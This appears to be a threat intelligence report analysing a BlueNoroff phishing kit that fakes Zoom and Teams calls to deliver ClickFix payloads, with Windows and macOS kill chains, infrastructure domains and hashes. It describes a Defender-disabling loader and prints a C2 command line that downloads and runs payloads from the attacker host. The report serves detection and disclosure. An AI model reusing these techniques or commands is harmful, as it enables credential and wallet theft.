Historically, mobile security has often been associated with nation-state spyware, espionage, and cryptocurrency theft. But as high-impact extortion data increasingly sits behind user sessions in SaaS and hybrid environments, malware that can intercept credentials on an employee’s personal device should not be overlooked as an attack vector.
BlueNoroff ClickFix Kit Threat Investigation Report
Executive summary
JUMPSEC has obtained and analysed the source code behind an active BlueNoroff phishing kit used to impersonate Zoom and Microsoft Teams meetings. Unlike previous reporting, this research provides source-level visibility into how the operation works after operators mistakenly exposed JavaScript source maps on live infrastructure.
This is not simply a fake Zoom lure. We demonstrate how BlueNoroff has operationalised trust abuse by combining compromised industry contacts, social engineering, wallet reconnaissance and malware delivery into a repeatable victim acquisition pipeline.
As a financially motivated, state-sponsored threat associated with the broader Lazarus Group ecosystem, BlueNoroff has been linked to numerous high-profile cryptocurrency thefts and attacks against financial institutions. Its primary objective is to generate funds for the North Korean state, making Web3 financial services an attractive target. These organisations concentrate significant digital assets and often rely on rapidly evolving infrastructure, cross-chain systems and smart contracts, while also presenting opportunities to exploit the human operators responsible for managing those funds.
Here we reconstruct the full Windows and macOS attack chains and map the supporting infrastructure, documenting the campaign from initial access through post-exploitation.
Key findings:
- This campaign is an operator-driven victim acquisition platform, not simply fake meeting pages
- Compromised trusted contacts are the core infection vector, creating a self-propagating attack chain via Telegram
- The platform profiles victims’ cryptocurrency wallets before malware delivery, enabling selective targeting of high-value victims.
- We reconstructed the full Windows and macOS attack chains and mapped the supporting infrastructure, documenting the campaign from initial access through post-exploitation.
Reconstructing the campaign
The threat actor did not strip `.map` files from their webserver. These `.map` files map the minified JavaScript back to the original source code with function names, comments – everything. There were two variants observed. One for Zoom, and one for Teams. And based on a `googie.us-gmeet.com`string found in the Zoom chat handler, a Google meet variant likely also exists.
The source code includes:
- All JavaScript source code for the Zoom page built to be a Single-Page Application (SPA)
- TS/TSX files, Teams page (essentially a rewrite of the Zoom page)
- `dropper.vb_s` (named as we obtained it), 497-line VBScript implant classified as Trojan.NukeSped, a known Lazarus Group malware family.
- 11 initial C2/lure domains.
These 11 initial domains were the seed. Pivoting across passive DNS, VirusTotal, urlscan.io and reverse DNS data expanded the investigation beyond the original infrastructure set, uncovering additional campaign infrastructure discussed in the Infrastructure Analysis section. Everything high confidence and medium confidence is still active as of July 22nd, 2026.
What the victim sees
We built a fully working demo of the full kit based on the exposed source code, what follows is what a real victim would see, phase by phase:
Phase 1: The lure
Victim clicks the link, which routes to something like:
`https://us.zoom.06webin.us/j/98527503722?pwd=9jXK14VFM8f0bdKxfkake7tD7rPhzs.1`.
This looks like a Zoom invite, but the domain is just `06webin.us`, with `us.zoom.` as the subdomain.When the victim clicks the link, they are presented with the following page:
Figure 6 – The initial fake Zoom meeting page
Clicking on “Continue” after inputting their username, the victim is asked for permission for the page to access the webcam as any normal meeting would go, once they allow this, the webcam stream is silently piped to the operators panel via mediasoup WebRTC.
Figure 7 – (OBS Virtual Cam for demo purposes)
After clicking “Join Meeting” the victim is shown another page where they are seemingly in a Zoom call by themselves, “waiting for other participants”:
Figure 8 – Victim screen after clicking “Join Meeting”
Once the victim has joined, the Operator can then continue to use their panel in order to control the meeting, send fake “your mic isn’t working” messages, and trigger the “Zoom SDK Update”, ultimately resulting in the ClickFix payload.
Figure 9 – Zoom SDK notification that triggers the ClickFix prompt
Alongside this control, the kit runs a full wallet fingerprinting sweep on the browser via EIP-6963 discovery, legacy `window.ethereum` dlag scanning, plus non-EVM globals like Solana coin. The result is silently exfiltrated to the operators panel which can be seen in the below screenshot (MetaMask detected as I installed MetaMask on my browser to test it), the victim never sees this exfiltration occurring.
Figure 10 – The operators panel, with multiple features
At this point, when the “admin” joins the fake meeting, the video the victim sees isn’t the operators live webcam. It’s a pre-edited video the operator plays into the WebRTC transport as if it were live. The headshots used are AI generated by ChatGPT and composited over real body motions captured from prior meetings. So, each successful attack feeds source material into the composites used against the next target. This combined with the Telegram account takeover method, means that the fake meeting shows a plausibly familiar looking face, moving with the body language of someone who was actually captured on camera.
Below you can see an illustrated example of what the victim would see on their screen:
Figure 11 – Operator joins the fake call, and the simulated deepfake video plays
After the operator has joined, it’s all meant to be social engineering, on very specific timeframes:
- T+0s – Operator joins the meeting, deepfake video is playing, but there is no audio
- T+2.5s – Operator pushes first message – “Hi [Victim name] can you hear me? Camera and audio look good on my end”
- T+6.5s – Operator pushes second message – “Weird, my mic keeps cutting. One sec – I think our Zoom SDK is out of date, let me push a quick update. You’ll see a prompt on your side too.”
- T+10.5s – A fake “SDK deprecated” message with a progress bar appears, auto advances for 3 seconds
- T+13.5s – ClickFix box appears
The displayed commands look benign. However, when the victim clicks Copy, or even highlights the text and CTRL+C’s, their clipboard is of course replaced with the operators ClickFix payload:
Figure 12 – PowerShell payload copied to clipboard
The two kits: Zoom and Teams
We managed to capture two distinct variants, a Zoom lure and a Teams lure, and comparing them shows quite the evolution:
Zoom variant – 26 JavaScript files
- Plain JavaScript
- Single `App.js` with inline meeting logic
- `SdkUpdateModal.js` for ClickFix
- `ChatModal.js` for handling C2 commands
- Simpler wallet probe (fewer chains)
- URL display swap for google.com/teams/zoom domains in chat
Teams variant – 44 TypeScript/TSX files
- Full TypeScript rewrite
- Service layer pattern
- MediaPipe background blur/virtual background support
- Full emoji reaction system
- Full device settings panels
- Mobile/tablet blocking
- Post-meeting redirect page
- Advanced wallet probe (EIP-6963 discovery + expanded non-EVM)
- LauncherPage mimicking the Teams “Continue on this browser” flow
The Teams variant is written well. It includes a UX polish, emoji reactions, background effects and even device settings. Both variants share the same `executeLinkFromDownURL` crypto module, confirming they are both from the same threat group.
The Windows kill chain
We recovered the full Windows attack chain across two different deployed variants, confirmed via VT sandbox data and source code analysis.
Stage 0 – PowerShell loader
The base64 decoded payload from the copied ClickFix payload is a small PowerShell script less than 600 bytes, we obtained two variants:
| Variant A (zoom.05ukweb.uk) | Variant B (weekly-up.online) | |
| SHA256 | 7a0b96f1…5309d8d | 180f7977…49953a412f |
| VT Score | 11/65 | 16/60 |
| Delivery | POST /ft?topic=s with body “200” | GET /2 (no body) |
| Filename | oklnkae.vbs | NltOci4.vbs |
| Self-delete? | No | Yes |
Both do the same core things:
- Download a VBScript dropper from the C2 and save to Temp
- Execute the VBScript twice via wscript.exe with different numeric arguments (1 and 2)
- Disable Windows Defender via PowerShell exclusion addition
- Force-restart Defender so the exclusion applies immediately
The dual execution is intentional, both numeric arguments feed into different functions, which generate different UUIDs and handle different beacon tasks. VT sandbox data confirms one instance beacons to `?topic=s` (system info) and another to `?topic=v957` (main C2 loop)
There is no obfuscation, the stage 0 payload relies on the ClickFix social engineering plus the Defender exclusion running before the stage 1 VBS lands on disk.
Stage 1 – VBScript C2 implant
Two variants recovered, this is the main implant:
| Variant A (callsdk.online) | Variant B (weekly-up.online) | |
| SHA256 | 8889f1b6…a87775 | a86659df…0c05f2 |
| Size | ~16KB | ~13KB |
| VT score | 21/62 – Trojan.NukeSped | 27/62 – Trojan.SLoad |
| VT Filename | kim_jong_un_is_a_fat_ugly_pig.vbs | sleestak_payload_1.vbs |
| Telegram detection | Yes | No – function absent |
The VT classification for the primary dropper as Trojan.NukeSped is significant as NukeSped is a known Lazarus group backdoor family. Further raising our attribution confidence to DPRK actors.
The difference between the two variants is primarily the Telegram Web detection functionality, which is absent in Variant B. This function checks `IndexedDB` for:
- `telegram.org_0.indexeddb.leveldb`
- `telegram.org_0.indexeddb.leveldb`
- `telegram.org_0.indexeddb.leveldb`
It checks for these across Chrome, Edge, Brave and Firefox profile directories. If successfully found, it appends “telegram” to the beacon data. There are two reasons why this most likely exists. First, a lot of Crypto/DeFi communities are on Telegram, so it is no surprise that the operator would want to be aware of a victim with an active Telegram account.
Secondly, and more interestingly, the delivery model we have documented above uses hijacked Telegram accounts of trusted contacts to message victims directly. Every marked victim with an active Telegram account is a candidate for their session cookie to be stolen and reused as a new delivery account.
Apart from that, the beacon architecture itself is identical in both:
| Function name | Functionality |
| getUName() | WMI Win32_ComputerSystem > DOMAIN\Username |
| getInfo() | OS, CPU, timezone, network adapters (full WMI sweep) |
| getProc() | Process list (excludes svchost, PID 0, PID 4) |
| getexts() | Browser extension IDs across 10 browser variants |
| HasTelegramWebUsage() | Variant A only – Telegram Web usage check |
| POST /info?t=<Timer()*100> | Beacon with tab-separated recon |
| handlePostResponse() | Command handler |
The browser extension enumeration walks extension directories for Chrome, Chrome Beta, Chrome Dev, Chromium, Edge, Brave, Opera, Opera GX, Vivaldi, and Firefox. It reports raw extension IDs, which the C2 can match against known Cryptocurrency Wallet extension IDs like MetaMask to identify potentially high-value targets.
C2 Commands:
| Command | Mechanism |
| In-Memory execution | `Execute contentVal` – Fileless execution via wscript.exe |
| Disk drop | `curl -o %TEMP%\<filename> <C2>/3?payload=<name>` -> `cmd /c start` or `shell.Run with param substitution` |
| Kill | `|kill` in response body -> WScript.Quit |
| Status report | POST /status with JSON `{“uuid”:”<id>”,”status”:”Downloaded|Executed”}` |
Stage 2 – Post exploitation payloads
The in-memory and disk-drop payloads are delivered dynamically via C2 tasking. These are where the actual credential theft, wallet theft, and keylogging live. One VT sandbox capture shows a response from `/3?payload=` starting with `MZ` (Windows PE header), confirming Windows executables are served to victims. We have unfortunately not yet recovered these payloads,
The macOS kill chain
Two shell script variants were recovered, both completely undetected by VirusTotal.
Stage 0 – shell script
| Template version | Deployed version | |
| SHA256 | 26bdad91…ebed28 | 163e4a72…084683 |
| Size | ~4KB | ~4KB |
| VT score | 0/60+ | 0/62 |
| C2 | From `$1` argument | `https://weekly-up.online` |
| App type | From `$2` argument | `teams` |
Figure 13 – macOS kill chain
The self-deletion happens first, by the time anything downloads, the original script is gone. The fake Teams installer app keeps the victim occupied via osascript while the real payload executes in the background.
The dual execution pattern matches the Windows kill chain, which also executes twice with arguments `1` and `2`, the macOS payload gets the same type of thing.
Regarding the “fake Teams installer”, there are multiple other lures that the operator can choose depending on the scenario, for example:
| app_type | Decoy app | Endpoint |
| zoom | ZoomApp.app | /2?topic=zoom |
| teams | TeamsApp.app | /2?topic=teams |
| system | SystemApp.app | /2?topic=system |
| Not implemented | Falls through | |
| none | Skip decoy | Fetch .bin directly |
The “google” type exists, but it is not implemented in this build. The source code also references `googie.us-gmeet.com` in URL display transforms.
We were able to recover these macOS payloads through OSINT investigation, and documented our findings, the first binary we found was the fake “Zoom SDK” installer, we found this based off the shell scripts we analysed and found a “ZoomSDK” string inside of. We then searched VirusTotal for `name:ZoomSDK.bin` and found `b149e207a3aad68605785710c58e8439aef61f48776c136d5a0ec6682d7dd2c0`, a 2.08MB Mach-O ARM x64 executable named “winapp.bin” (VT classification is “ZoomSDK.bin”)
Figure 14 – ZoomSDK.bin/winapp.bin on VirusTotal
Pivoting on this report, we found four variants:
| First seen | Size | SHA256 (prefix) | Notes |
| April 22 | 2.18MB | b149e207… | Pure dropper, no stealer |
| May 29 | 2.24MB | 0517ca46… | Dropper + stealer merged, zero obfuscation |
| June 28 | 4.32MB | 203bd560… | Merged, LLVM obfuscated |
| July 15 | 4.22MB | eb78f46f… | Merged, LLVM obfuscated, new Telegram bot |
Figure 15 – The four variants discovered
It should be noted that the report that isn’t squared in red is the self-deleting dropper script, the four reports that are squared in red are the interesting binaries we analysed.
The size doubles between May and June, this is when the stealer code got added alongside the fake installer code. The May 29th variant is the most interesting, as it includes the full stealer and fake installer, with no obfuscation.
Stage 1 – winapp.bin (the dropper)
The dropper is a ARM64 Mach-O, 2.18 MB. Pure C++, imports only `libc++` and `libSystem`. 214 functions, 70 strings. Uses `/usr/bin/curl` for everything. It takes two arguments when it is executed, a server URL and an app type, there are five app types: zoom, teams, google, system, and none. The “google” type prints “not yet implemented” – planned but not shipped yet.
The Stage 2 stealer payload is downloaded and executed in the background while the fake Teams/Zoom installer (selected from the server URL and app type arguments) keeps the user busy as mentioned previously while the malware installs.
